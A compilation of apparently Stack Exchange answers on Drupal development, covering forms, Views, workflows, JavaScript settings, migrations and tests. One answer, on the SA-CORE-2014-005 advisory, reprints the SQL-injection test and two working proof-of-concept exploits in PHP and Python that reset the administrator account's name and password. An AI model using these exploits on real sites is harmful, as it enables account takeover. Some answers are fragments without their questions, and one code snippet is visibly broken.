if($form_id=='your_form_id'){
 hide($form['#submit']);
$form['mymessage']= array(
   '#type' => 'markup',
   '#markup' => 'sorry , no one available in room',
   '#weight' => 0,
);
}
}


You don't need to autoload it in Drupal.
what you need is in the root of the Drupal run :
composer require microsoft/windowsazure

then in your custom module use it with
use WindowsAzure\Common\ServicesBuilder;


What is the difference between the Workbench and Workflow modules?

Workbench gives you an intuitive and friendly user interface to control content (nodes)transitions on a previously defined states on a role based access control means that every transition to the node from a state to a state for the role authorized to perform that transition, with the ability to create new transitions and states.

You won't get that feature unless you enabled the workbench moderation module.

Workbench access module allows you set sections, editors, roles (defined using a menu items or taxonomy terms) to work on the description above based upon the permission given for the role to work on workbench functionality which gives you a generic out of the box role based access control to previously define workflow to manage content publishing process.

Workbench media provides integration between media and the Workbench suite. It simplifies the pages content administrators need to visit in order to add media which makes workbench files
module useless and becomes depricated.

Workflow seems to be more powerful and provides you with one form to create and define workflows and manage states, transitions, assign roles, set labels for transitions and how states will be listed and logged read that awesome article

Besides have integration with many helpful modules may be used in your project in the future like og, rules, views and search_api due to the dependency on drupal entity system allows to set workflows defined to other entity types not limited to nodes.

Actions on each transition could be tied and notification created for users in concern like group members and admins or high level managers.

At the end each of the two modules have very good functionality that deserves showing respect to maintainers, Workbench focus on content closely to E-magazines and online news portals or forums, Workflow pay attention on the process thinking of workflows as business rules required and may be helpful in ERP, CRM and E-commerce like systems some how.

Finally close to scope of that question I found a very simple module provides ability to add custom publishing states with integration to rules and views, specify defined roles to transition nodes between states.

I hope that review helps you determine what is the best module for your project.


Trigger redirect after Webform Remote Post Handler posted successfully

I've added the following to the handler:

/**
* {@inheritdoc}
*/
public function confirmForm(array &$form, FormStateInterface $form_state, WebformSubmissionInterface $webform_submission) {
  if ($this->isDisabled()) {
    return;
  }

  $uri = new Url('entity.node.webform.user.submission', [
    'node' => $webform_submission->getSourceEntity()->id(),
    'webform_submission' => $webform_submission->id(),
  ]);
  $form_state->setResponse(new RedirectResponse($uri->toString()));
}

This seems to work.


Output og:image:url if the og:image exists

I found a module that did something similar and just changed a bit:

function remove_generator_page_attachments_alter(array &$attachments) {

  $has_image = false;
  $index_to_remove = -1;

  foreach ($attachments['#attached']['html_head'] as $key => $attachment) {

    if ($attachment[1] == 'og_image_url_0' || $attachment[1] == 'og_image_url') {
      $index_to_remove = $key;
    }

    if ($attachment[1] == 'og_image_0' || $attachment[1] == 'og_image') {
      $has_image = true;
    }
  }

  if($has_image && $index_to_remove > -1) {
    unset($attachments['#attached']['html_head'][$index_to_remove]);
  }

}


Creating a marketplace for tour activities

As someone else suggested: take a look at the Booking and Availability Management Tools for Drupal (BAT).

Roomify.us, the business providing the BAT framework announced that they are also providing solutions specifically for tours and activities rather than just rooms and fixed places.

The BAT system integrates with Drupal Commerce and its various payment gateways. It also takes over the Drupal logic very well with 'types', 'type bundles', 'events' and 'units'.

Once you understand how it works conceptually it should not be too difficult to modify BAT so that it can become a kind of marketplace where users can create their own units on the basis of pregiven tour types you have defined.


Problem with jquery or jquery ui (animating color)

It sounds like you're having a problem with your jQuery selector.

Are you using changing the properties for all paragraphs? Or just a particular one? Or a class?

Below are the selectors for each option respectively:

$("p")...

$("p#theIdofTheParagraph")...

$("p.theClassofTheParagraphs")...


In the code shown for buildForm() there are two calls to loadMultiple():

The explicit call in the $digests = $digest_storage->loadMultiple(); line
The implicit call in the $subscription_entity = $subscription_storage->load(current($subscription_id)); line

The second line is an implicit call to loadMultiple() because the default implementation of load() (EntityStorageBase::load()) uses the following code.
assert(!is_null($id), sprintf('Cannot load the "%s" entity with NULL ID.', $this->entityTypeId));
$entities = $this->loadMultiple([$id]);
return isset($entities[$id]) ? $entities[$id] : NULL;

EntityStorageBase::loadMultiple() uses the following code.
$entities = [];
$preloaded_entities = [];

// Create a new variable which is either a prepared version of the $ids
// array for later comparison with the entity cache, or FALSE if no $ids
// were passed. The $ids array is reduced as items are loaded from cache,
// and we need to know if it is empty for this reason to avoid querying the
// database when all requested entities are loaded from cache.
$flipped_ids = $ids ? array_flip($ids) : FALSE; // This is line 261, in Drupal 9.0.x.

array_flip() raises the Can only flip STRING and INTEGER values! warning when the array passed as argument doesn't contain a string or an integer value, which also happens when the array contains one or more NULL values, or even FALSE values.
This means, for example, that the following line isn't setting $subscription_id to an integer or a string, possibly because there aren't any digest entity whose ID is $digest->id() associated with the subscription entity, or associated with the currently logged-in user.
$subscription_id = $query->condition('digest', $digest->id())
  ->condition('uid', $this->currentUser->id())
  ->execute();

This is the probable cause, giving that the code of that test isn't creating any subscription entity. If creating a digest entity is supposed to create a subscription entity, then it's not creating a subscription entity that is associated with a digest entity with that ID or with the currently logged-in user.
(I assume $digest->id() is returning an integer, since that is the usual case. I would verify that too, but since it's the test that is failing, it seems more probable the cause of the warning is the one I described.)


Which contextual filter should I use to make proximity filter get the URL param as center?

The idea here is that you are creating a block to display on the node and need to add a contextual filter to return the nid to filter the results. You need to add the "Content: Nid" contextual filter.

You can do this by:

Add contextual filter
Select "Content: Nid"
Under "When the filter value is NOT in the URL" select "Provide default value"
Then under "Type" select "Content ID from URL"

This will automatically get the nid from the URL (node/nid) and apply the filter to the results.


Choosing between template files and custom module

That depends on what you would like to accomplish.
When it is just pure templating (markup, styling, theming) you can do this with template files just fine.

But when you want to include custom logic (programming), it is better to create a custom module where you put the hook() implementations and/or preprocess functions etc...and then define a temaplate file there.

Does this offer some clarification for you?


Add Meta tags and Title on hook_menu "page callback"

Assuming Drupal 7...

For the title you can use drupal_set_title().

For the meta tags you can use drupal_add_html_head(). Example from geerlingguy in the comments of those docs:

$element = array(
  '#tag' => 'link', // The #tag is the html tag - <link />
  '#attributes' => array( // Set up an array of attributes inside the tag
    'href' => 'http://fonts.googleapis.com/css?family=Cardo&subset=latin',
    'rel' => 'stylesheet',
    'type' => 'text/css',
  ),
);
drupal_add_html_head($element, 'google_font_cardo');


How does Drupal not rely on Foreign Indexes for matching table row information?

Due to mostly historical but also database portability reasons does Drupal currently not use foreign keys.

That however doesn't stop you in any way to relate to other tables. All you need to do is insert the user id into your table and then to a JOIN to the users table if you want to query it. Or do a user_load_multiple() on the uid's separately. If you have a large amount of data, that might actually be better for performance (The default node list in Drupal does that because a LEFT JOIN can get very slow if you have millions of nodes).

You would have to do this in any way, foreign keys don't do this automatically. They do validate your data (e.g. you can't insert a non-existing uid) and you can define how to act when users are deleted (either prevent delete or delete the referenced records too, basically). In the case of users, this wouldn't help you anyway, due to the advanced and configurable User cancellation that Drupal does (e.g. you can configure it to re-assign all public data like comments to the anonymous user).


Seems like a bug, but needed to add a complete() function as follows:

class RanchoGroupNewsMigration extends RanchoNodeMigration {
  public function __construct(array $arguments) {
    parent::__construct($arguments);

    // OG Audience field
    $this->addFieldMapping('og_group_ref', 'og_group_ref')
         ->separator(',')
         ->sourceMigration('RanchoNodeGroup');
    $this->addFieldMapping('group_access','group_content_access');

    ...

  }

  protected function query() {
    // Get the default query
    $query = parent::query();
    $query->leftJoin('og_ancestry','oga','n.nid = oga.nid');
    $query->addExpression('GROUP_CONCAT(DISTINCT oga.group_nid)', 'og_group_ref');
    $query->addField('oga', 'group_nid', 'group_nid');
    $query->leftJoin('og_access_post','oa','oa.nid = n.nid');
    $query->addField('oa','og_public','group_content_access');

    return $query;
  }

  public function prepareRow($row) {
    if (parent::prepareRow($row) === FALSE) {
      return FALSE;
    }
    // Seems the access setting is actually the opposite in D7, so we need to
    // toggle the boolean here.
    $row->group_content_access = !$row->group_content_access;
    return TRUE;
  }

  public function prepare($node, stdClass $row) {
    // Set og field_mode to 'admin' so we can save this group content despite not being a member of the group.
    // See https://www.drupal.org/node/2399997
    if (!empty($node->og_group_ref[LANGUAGE_NONE])) {
      foreach($node->og_group_ref[LANGUAGE_NONE] as $delta => $value) {
        $node->og_group_ref[LANGUAGE_NONE][$delta]['field_mode'] = 'admin';
      }
    }
  }

  public function complete($node, stdClass $row) {
    $values = array(
      'entity_type' => 'node',
      'entity' => $node->nid,
      'state' => OG_STATE_ACTIVE,
      'membership_type' => OG_MEMBERSHIP_TYPE_DEFAULT,
      'field_name' => 'og_group_ref',
    );
    // Update the node
    $group_id = $row->og_group_ref;
    og_group('node', $group_id, $values);
  }
}

The above works regardless the number of groups the node is assigned to.

Note because this took me quite some time to figure out: the og_access and og_public have the opposite meaning from D6 to D7.


Memory error when updating user field with Rules

Your problem is loop update user infinity. When user update, hook_entity_update will be call:
/**
 * Implements hook_entity_update().
 */
function rules_entity_update(EntityInterface $entity) {
  // Only handle content entities and ignore config entities.
  if ($entity instanceof ContentEntityInterface) {
    $entity_type_id = $entity->getEntityTypeId();
    $event = new EntityEvent($entity, [
      $entity_type_id => $entity,
      $entity_type_id . '_unchanged' => $entity->original,
    ]);
    $event_dispatcher = \Drupal::service('event_dispatcher');
    $event_dispatcher->dispatch("rules_entity_update:$entity_type_id", $event);
  }
}

soure
This event will be call your rule action. So when you call $user->save(), the hook_entity_update will call again... That's your problem. To be resolve, you can follow example.

Edit your annotation. "user" = @ContextDefinition("entity:user",
Update logic method doExecute
Update your rule.

Remember don't call $user->save() again.


How do I redirect users to a predetermined url after login?

All forms in Drupal support a internal destination parameter.

When you link to the user or user/register form, you can add ?destination=[url]

user/register?destination=node/1

Since you display the files-list with Views, you will need to re-write the files link to include the destination parameter.
If you output the link with l(), you can add the extra url data in l's third parameter like

l('Sign in to View', 'user', 'destination=node/1');


Spam filter options for unregistered user to registered user email service

As an alternative for Mollom, perhaps Akismet could work? The service runs analysis on the comments/posts and determines whether they are spam from their content.

As an alternative for Captcha, perhaps Are You A Human could work? Rather than using wobbly text it asks you to complete a very simple game - causing less frustration to your users.

To properly answer your question: Given the two alternatives, I think the most efficient way to filter spam would be through Gmail, although it might violate their EULA.


Creating a view of content that is filtered by the email of the current user

Here is the approach to provide a relationship between content and logged in user:

Create a user view.
Add a contextual filter on User: E-mail.
Add a relationship on User: Content authored.

Now you can do rest of you functionality.


how to filter view having three group with one or and two and group?

For ease of use I would suggest looking at Views Raw SQL. While Views is a powerful query builder, it sometimes makes assumptions and in a general sense is designed to solve 80% of general types of listings and queries -- when implementing advanced logic, it can fail short.

Another option is to use the Views API Hooks (hook_views_query_alter) and alter the query using a small custom drupal module.


Content Filter based on Heirarchical Taxonomies

Create views for

Project parameters
Project sub parameters with contexual filter of project parameter taxonomy id with filter criteria
Content view with contexual filter of project sub parameters taxonomy id.

After Create these views you can call ajax api and pass those conexutal filter on ajax for particular view like,

$view = views_get_view('viewname'); //viewname is the view machine name
$view->set_display("block_1"); //block_1 is the view display name
$view->set_arguments($tid); //$tid is the argument to pass
$view->pre_execute();
$view->execute();
$content = $view->render();

I got the success by this way.

Hope this answer help somebody.


Drush error when attempting Drupal update: unable to copy/move

We can only guess at an answer. A likely scenario might be disk space, permissions, or some other conflict with Drush & filesystem, but that's speculation.

Run the same command with the --debug flag (drush up drupal -y --debug) to see a verbose dump of what Drush is doing and look for errors/warnings that occur as Drush is attempting a core update. Once you know the underlying filesystem issue you'll be able to resolve it.


add content reference to product in drupal commerce

I found the solution anyway:

Using EntityReference module this can be done!! you just add an entityreference field to your product and then in settings you choose your bundle.


Is it possible to use the batch API with transactions?

I'm afraid not.
Batch API divides task into separate steps, each in it's own PHP call. In pure PHP (for simplicity) you use transactions like that:

try {
    // First of all, let's begin a transaction
    $db->beginTransaction();

    // A set of queries; if one fails, an exception should be thrown
    $db->query('first query');
    $db->query('second query');
    $db->query('third query');

    // If we arrive here, it means that no exception was thrown
    // i.e. no query has failed, and we can commit the transaction
    $db->commit();
} catch (Exception $e) {
    // An exception has been thrown
    // We must rollback the transaction
    $db->rollback();
}

To split it into multiple calls, you would need to store PDO object and pass it between calls, but PDO objects cannot be serialized.

Workaround would be to import to a temporary table, and when (if) it was successful, use one more batch api step to move data from temporary one to real destination. And that one last move you can do in one step, so you can wrap it with transaction.


Media module - CKEditor embed not working - jQuery is not defined

I worked around this by changing the admin jquery version down to 1.7 using the Jquery Update settings.


D7 views list of nodes with node reference count

I am not too up on D7, but the Nodereference Count module has worked for me in D6 and there appears to be a D7 version.


Having trouble understanding hook_theme()

I think this is a typo on your part or Drupalize.me.  You should supply a variables array that defines the default values of the variables passed to your theme function if the calling function does not supply them.  It's not necessary, but seems to be good practice to NULL at least title and data.

From the api:

  variables: (see above) Each array key is the name of the variable, and
  the value given is used as the default value if the function calling
  theme() does not supply it. Template implementations receive each
  array key as a variable in the template file (so they must be legal
  PHP variable names). Function implementations are passed the variables
  in a single $variables function argument.

function spy_glass_theme() {
  return array(
   'spy_glass_item' => array(
     'variables' => array('title' => NULL, 'data' => NULL),
     'template' => 'spy-glass-item',
    ),
  );
}

And then your theme function:

function theme_spy_glass_item($variables) {
  $title = $variables['title'];
  $data = $variables['data'];
}

Or, if you're using .tpl.php, you simply have access to the variables $title and $data.


Form API multiplie file upload validation error

This happened to me today. After some research it's appear that Drupal8 have a bug with empty file form element when this one is multiple.

The file_save_upload function expects an array looks like this when element is empty :

 ['form_field_name' => NULL]

But actually for an empty multiple file form element the array is:

 ['form_field_name' => [0 => NULL]]

So the condition check for an empty value and fail. The code continue until it try to use getError() on a null value.

Here is a function to check if a file were uploaded or not. You can use it in the validateForm callback of your form class or in a hook.

function isFileUploaded($form_field_name) {
  $all_files = \Drupal::request()->files->get('files', array());

  return isset($all_files[$form_field_name]) &&
    !empty($all_files[$form_field_name]) &&
    NULL !== reset($all_files[$form_field_name]);
}

It's not very pretty but it'll work until they fix that bug.


What would be the best way of creating a drop down menu - selected go to page

You can create a View (with the Views module) with the Format "Jump Menu"

In the fields include the title, and link it to its node in the field settings.

If that does not serve your purpose, there are several Jump Menu contributed modules http://drupalmodules.com/search/node/jump+menu


Youtube API module: Post videos to Youtube

Create a custom module, in mymodule.module use hook_node_update

function mymodule_node_update($node) {

  if (isset($node->field_checkbox[LANGUAGE_NONE][0]['value'])) {
  // If field checkbox is set (not empty), then...

     // youtube api code goes here.

  }

}

  The Youtube API module seems to be the appropriate module to do this,
  But I really have no idea of how to use this module.

According to the Youtube API module project page:

  This module is an API module, meaning that it in itself doesn't do
  anything

Therefore, all this module does is install libraries that you need in order to interact with the Youtube API, nothing more.

You need to read the Youtube API documentation from https://developers.google.com/youtube/documentation/
and learn how to code for youtube api.


D7 - Get Path Alias (URL) from referenced Taxonomy Value

Ok then, here are a two options.

Option 1)

Include your entity reference field.
Use the 'Label' formatter.
Rewrite it's output and to /taxonomy/term/[field_entity_reference-target_id], see screenshot.

This will output the path to the term page as plain text for you to use as you will. You could output this field as a link and attempt the same pattern.

Option 2)
+ Add a relationship to the referenced entity. See screenshots.

Once you add the relationship, add the Taxonomy term: Name field using the relationship. See screenshot.

<> Then configure to use link and rewrite output if desired.


fonts not applied to high ASCII characters

As I suspected, the issue was NOT off-topic. It turns out that the downloaded fonts were not set for Unicode. Most likely, they were using the euc-kr character set. Since the site uses utf-8, the ranges for the characters in utf-8 are different from euc-kr, so the default font was being used to display.

I downloaded a different version that specifically listed the font as Unicode and now the characters display correctly for that font.


Create a View Block that shows a taxonomy vocabulary applied to the current node

It is a common request to show reverse connection information through Views. It can be done with the help of reverse Relationships when starting from Taxonomy term type Views. You can find other answers with simple examples where you can learn about how it works. You are looking to list sibling terms, but commonly siblings are usually called nodes that share the same terms, so be mindful of the difference when reading those answers.
Your case is a bit more complicated because it involves more than one level of connections, and you want both cases to be solved with one Views. I don't know if it can be solved, I suspect it can with the Views Contextual Filters OR module but it still wouldn't be a trivial solution. It's out of scope of an answer here, so I'll just post as much as I can so you can take it to learn and expand on your own time.
This solution will list all three levels of Taxonomy tree for the node that has been tagged with the second level term, and will list third level siblings, (not second level as you'd requested). This requires a lot of tweaking to get it to work the way you want. first independently find the two solutions for each hierarchy level, then combine them with the Contextual OR option.

Create Views of the type Taxonomy term and Block Display, Filter it to your Vocabulary, and you should have the Taxonomy Name Field there. Set the Pager to Display all items. So far it will list all the terms.

Add a new Relationship from the Taxonomy term Category for the term Parent. It will be called Taxonomy term but you will see its Description explains it's the parent (search for "parent" when on the Relationships list to find it quickly). You can Require it since all your terms will have a parent (no nodes with only the grandparent)

Add another Parent Relationship the same way, only make it use the previous Parent Relationship. This second one will introduce the Grandparent term information. Don't require it because some terms will be from the second level and won't have a grandparent so requiring it would exclude them (records)

Add the third Relationship but this time the one for your Taxonomy reference field. It will be called something like Content using field_myTaxonomyField. Make it use the first Parent Relationship, you can Require it since all the relevant nodes will have that Taxonomy field filled in.

Add the Field Term Parents and set it to Exclude from display. This will show the Parent term for each term but we're hiding it because we'll use it later for grouping. This can probably be done with the term Name Field that has the Parent Reationship applied.

Add another Term Parents Field but this time make it use the Parent Relationship (the first one). This will show the grandparent term if it applies. Exclude from display because we'll use it for grouping later so don't need it repeated here.

Under Format select HTML list and set the first grouping to use the Grandparent Field (Parent Field with Parent Relationship), and the second grouping to Parents field (Parent Field without Relationship). You will now see the grandchild terms grouped under their parents and grandparents.

Lastly add the Contextual Filter ID from the Content Category, this will pass on the node ID to views to filter out only the terms referenced from this node. Configure the Contextual ID Filter:
When the filter value is NOT available
Provide default value
Content ID from URL
When the filter value IS in the URL or a default is provided
Specify validation criteria
Validator: Content
Content type News
Set the option for the case when the argument doesn't validate to something that makes sense to you.
With the Contextual Filter present you will see no results unless you enter a node ID into the Preview field. Enter the number of a known node to test it's showing the correct terms and their hierarchy.

Lastly save the Views and place the Block into a Region in your theme, and configure the Block Contextual option along with Visibility and other Block settings. Visit a node to test it's showing the hierarchy correctly

If the output doesn't look exactly as you'd like you can play with the Style settings and Override output in the Fields to get closer to what you need. In the end you can control it completely through twig templates. You might also want to look into Views tree.


What does "sanitized" mean (in api documentation)?

'Sanitization' is the removal of malicious data from user input, such as form submissions
or maybe more simply...

The cleaning of user input to avoid code-conflicts (duplicate ids for instance), security issues (xss codes etc), or other issues that might arise from non-standardized input & human error/deviance.

Depending on the context, sanitization will take on a few different forms. Could be as simple as removing vulgarities & odd symbols from text to removing SQL injection attempts and other malicious code intrusion attempts.

You can get the idea of what Sanitization is generalized to drupal core by looking at:
http://api.drupal.org/api/drupal/includes--common.inc/group/sanitization/7

For instance, the check_plain() function will:

  Encode special characters in a
  plain-text string for display as HTML.

  Also validates strings as UTF-8 to
  prevent cross site scripting attacks
  on Internet Explorer 6.

or filter_xss() which:

  Filters an HTML string to prevent cross-site-scripting (XSS) vulnerabilities.


The Zencoder API library is not installed ... zencoder in a library path such as sites/all/libraries

I cleared all caches and ran cron and that solved the problem.

Thanks to this.


You could install Views module, create a list of products, and filter based on taxonomy (Contextual filter).


How do I export a site without it's Node data?

Could you just export the db in a typical fashion?  Via PHPmyadmin or command line?

Also, Backup and Migrate lets you choose to export table structure without data.


jQuery dependency on a custom theme is not adding jQuery?

Solved The problem was in my .theme file where it was unsetting the core jQuery library.
The problem code:
function theme_js_alter(&$javascript, \Drupal\Core\Asset\AttachedAssetsInterface $assets)
{
    unset($javascript['core/assets/vendor/jquery/jquery.min.js']);
}

Thanks to @AlfredArmstrong for providing the suggestion of reviewing the php files


When can I, and when I can't rely on other module's classes to be loaded?

Drupal 7 introduces a code registry - an inventory of all classes and
  interfaces for all enabled modules and Drupal's core files. The
  registry stores the path to the file a given class or interface is
  defined in, and loads the the file when necessary. The registry loads
  classes and interfaces on demand, via php's built in class autoloading
  mechanism. Modules can now move all code for classes that are not
  regularly used into an include file, and Drupal will only load it on
  demand. This will cut down on the amount of code loaded per request,
  and reduce Drupal's memory footprint.

more info:

http://api.drupal.org/api/drupal/includes%21registry.inc/group/registry/7
http://drupal.org/node/350780
http://drupal.org/node/542202#files
http://php.net/manual/en/language.oop5.autoload.php


How to limit Entity Reference to only allow referencing of nodes with the same (or undefined) language?

Reference field option limit module allows reference fields of several types to have their widgets' available options limited by the values of other fields in the current entity.

  It currently supports taxonomy term and entity reference fields.


How can I trigger rerender of an element in a preprocess function?

If I need to manipulate the text and/or display based on some PHP logic, I would do it using hook_node_view(). Implement this HOOK in you custom module. Use of this module will be like.

function MYMODULE_node_view($node, $view_mode = 'full', $langcode = NULL) {
    if( $view_mode == 'full' ){
        if( $node->type == 'YourContentType' ){
            $node->content['field_pb_doc_other_first_name'] = array(
                '#markup' => $node->content['field_pb_doc_other_first_name']['#markup'] . ' ' . mb_strtoupper($node->content['field_pb_doc_other_family_name']['#markup']);
        }
    }
}

My logic may be wrong, you need to check the $node variable inside this function for all the fields value.
The above code is just a sample code to demonstrate use of HOOK_node_view.


I think as a relatively new Drupal developer, you could benefit tremendously from getting to know CCK. This will allow you to have flexibility with how fields are laid out and ensure that page layouts remain consistent.

The way you've approached the task, I can think of two ways to get that ticker to show: using jQuery and using a theme function. If you know about template.php and theme overrides, I'd recommend that route. Otherwise, this should be doable with jQuery:

Using jQuery:

Place this in a js file:

$(function() {
    $('#block-quicktabs-fundsperformancetabs h2').append('
MSILX, ETC
');
});

And in your stylesheet

.ticker {
    text-transform: uppercase;
    color: #CCC;
    font-size: 11px;
}

Be sure to include your js file in your theme's info file.

scripts[] = js/custom.js

This has the downside of being 'in the code' instead of editable by the client, but that's where CCK would come in.


How to check for Grouping field in Views submodule?

My question assumed that Views Datasource includes parent view format options such as grouping fields, but it does not. Rather than call all of the parent fields from the Views defaults, I copied only the field definition from views_plugin_style.inc to views_plugin_style_json.inc, within the options_form function.

The second part of my question was how to get the value of that field back out. It exists in $options["grouping"][$i]["field"], where $i is the Grouping Field Number, -1.

So, the value entered into "Grouping Field Nr.1" is $options["grouping"][0]["field"].


Why doesn't my code for passing a PHP variable to JavaScript work?

For anyone coming here looking for a simple example of stashing data in drupalSettings and pulling it back out on the js side. Here's an example in a form.

In  buildForm or form_hook_alter etc:

$form['#attached']['drupalSettings']['foo'] = 'bar';

Then in the js file of your choice (in your theme) be sure to wrap your code in a function and provide the things you want. In this example, I'm providing jQuery and drupalSettings.

(function($, drupalSettings) {

  console.log(drupalSettings);

})(jQuery, drupalSettings);

You should see in your console that the drupalSettings object has the key 'foo' on it alongside some other internal ones. That's why Kevin suggests putting your data a level deeper with ['drupalSettings']['my_module']['foo'], but it's not necessary. Additionally, you don't need to specify core/drupalSettings as a dependency in your libraries.yml or do anything else to make drupalSettings available. You get it for free.

As for actually answering the question . . . I'm not sure what @kiamlaluno is talking about when he says to replace drupalSettings with settings. I can, however, show you (@harshal) what your function should look like based on my example:

(function ($, drupalSettings) {
    Drupal.behaviors.stripe = {
      attach: function (context) {
        alert('hello4');
        console.log(drupalSettings.api_key);
      }
    };
})(jQuery, drupalSettings);

If you're still having trouble, try just adding a couple of lines to be sure things are sane:

(function ($, drupalSettings) {

    // What's going on?
    console.log('function is loading!');
    console.log(drupalSettings);

    Drupal.behaviors.stripe = {
      attach: function (context) {
        alert('hello4');
        console.log(drupalSettings.api_key);
      }
    };
})(jQuery, drupalSettings);


jQuery code is loading content in an unpredictable way

Here's what worked in the end;

Drupal.behaviors.ajaxview = function(context) {
  $('a.ajaxclick:not(.ajaxview-processed)', context)
  .addClass('ajaxview-processed').each(function() {
    $(this).click(function(e){
        e.preventDefault();
      $index = $('a.ajaxclick').index($(this));
      var nid = $(".mynid").eq($index).val();
      var toLoad = Drupal.settings.basePath + 'myajax/' + nid;
        xhr = $.ajax({
        url: toLoad,
        success: function(data) {
          $('#content').html($('.audioforumtable', data));
          Drupal.attachBehaviors(context);
        }
      });
    });
  });

 $('a.nrefclick:not(.ajaxview-processed)', context)
  .addClass('ajaxview-processed').each(function() {
    $(this).click(function(e){
        e.preventDefault();
      $index = $('a.nrefclick').index($(this));
      var nref = $(".mynref").eq($index).val();
      var toLoad = Drupal.settings.basePath + 'node/' + nref;
        xhr = $.ajax({
        url: toLoad,
        success: function(data) {
          $('#content').html($('.audioforumtable', data));
          Drupal.attachBehaviors(context);
        }
      });
    });
 });
}

I changed the container to content because it worked better for what I need but the problem seems likely to have been the lack of the Drupal.attachBehaviors(context) . Thanks to Baysaa for steering me in the right direction!  I will vote your answer up when I have enough reputation points.


hook_nodeapi called multiple times with op='update'

You are spot on.

If a module calls node_save, nodeapi will be called either with update or insert, depending on what happened.


How to redirect to top level domain and not relative value

I resolved it as follows:

in the form submit handler, I simply added:

$form_state['redirect'] = '<front>';

Hope this helps someone...


According to According to Functions - In Twig Templates just Try

{{ path('node.add', {'node_type' : 'yourcontenttypename'}) }}

as the example for article content type

{{ path('node.add', {'node_type' : 'article'}) }}

Update
Try

{{ path('entity.group.add_form', {'group_type' : 'yourgrouptype' }) }}


How to display result of a View in a specific block?

You are going about this the wrong way. Start again with a page display for your view.

Now you want to remove the sidebar from that page. Two ways you might do that:

Disable all blocks in the sidebar when the path matches the one for your view. You'll need to configure each one separately with the path criteria.
Override the page template with one that does not have the sidebar code. The template will be named something like page--my-path.html.twig (See https://www.drupal.org/docs/8/theming/twig/twig-template-naming-conventions).

There are other approaches but these are probably the simplest to implement.


How do you programmatically include an entity type to a workflow?

You need the addEntityTypeAndBundle method from ContentModerationInterface

A static way to implement it looks like:

$workflow = \Drupal::entityManager()->getStorage('workflow')->load([workflow_id]);

$workflow->getTypePlugin()->addEntityTypeAndBundle('node', 'article');

$workflow->save();


Pass a preprocess variable to a template?

At a glance it looks like you have a condition checking for:

if ($variables['field_name'] == 'field_language') {

but the template you are using is field--node--field-body.html.twig instead of field--node--field-language.html.twig.

To get it to pass to field body twig, you would need:

  if ($variables['field_name'] == 'field_body') {
    $variables['language'] = $variables['element']['#object']->get('field_language')->getString();
  }


If you are going to move the Drupal files from a directory to a sub-directory, you should not have problems of lost data, which means the database still contains the data for user accounts, and for the created nodes.

Keep in mind, though, that some database tables contain absolute paths/URLs. Moving Drupal files to a sub-directory means that some URLs change, such as the ones to access uploaded files. The cache for the visited pages contain the absolute URL of the page; changing the directory where Drupal is installed means changing the absolute URL of pages, and not allowing Drupal to get the page content from its cache.

I would not talk of lost data, but rather of database references that need to be updated.


drupal_add_js cannot find my javascript file

It is most likely a path issue, you should be able to use the DRUPAL_ROOT constant to get the correct one:

$path = DRUPAL_ROOT . '/sites/www.example.com/footer.js';
drupal_add_js($path);


What kind of attacks does the patch for SA-CORE-2014-005 (Drupal 7.32) prevent?

Whats going on with 7.32 By checking the testing module. You can see the following test was added to 7.32;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

This should give some further insight into how to craft an attack.

Proof of Concept
Since more than enough time has passed and there are plenty of PoC's out in the wild.

Poc #1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc #2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

Here is a blog that does a good breakdown: http://www.volexity.com/blog/?p=83


How to write test(s) with specific config to test custom access checks?

Wound up figuring this out I suppose, although I have no idea if this is the proper way.

Under the custom module I wanted to test, I created a 'tests' directory with a test module and within that new module placed 3 configuration files from my project config ("Show Profile" field storage, "Show Profile" field instance, user form display configuration).

In a functional test, I required that module:

<?php

namespace Drupal\Tests\mymodule\Functional;

use Drupal\Tests\BrowserTestBase;
use Drupal\user\Entity\Role;

/**
 * Class ProfileAccessTest
 * @package Drupal\Tests\mymodule\Functional
 */
class ProfileAccessTest extends BrowserTestBase {

  /**
   * A set of test users.
   */
  protected $user1, $user2, $user3, $user4;

  /**
   * {@inheritdoc}
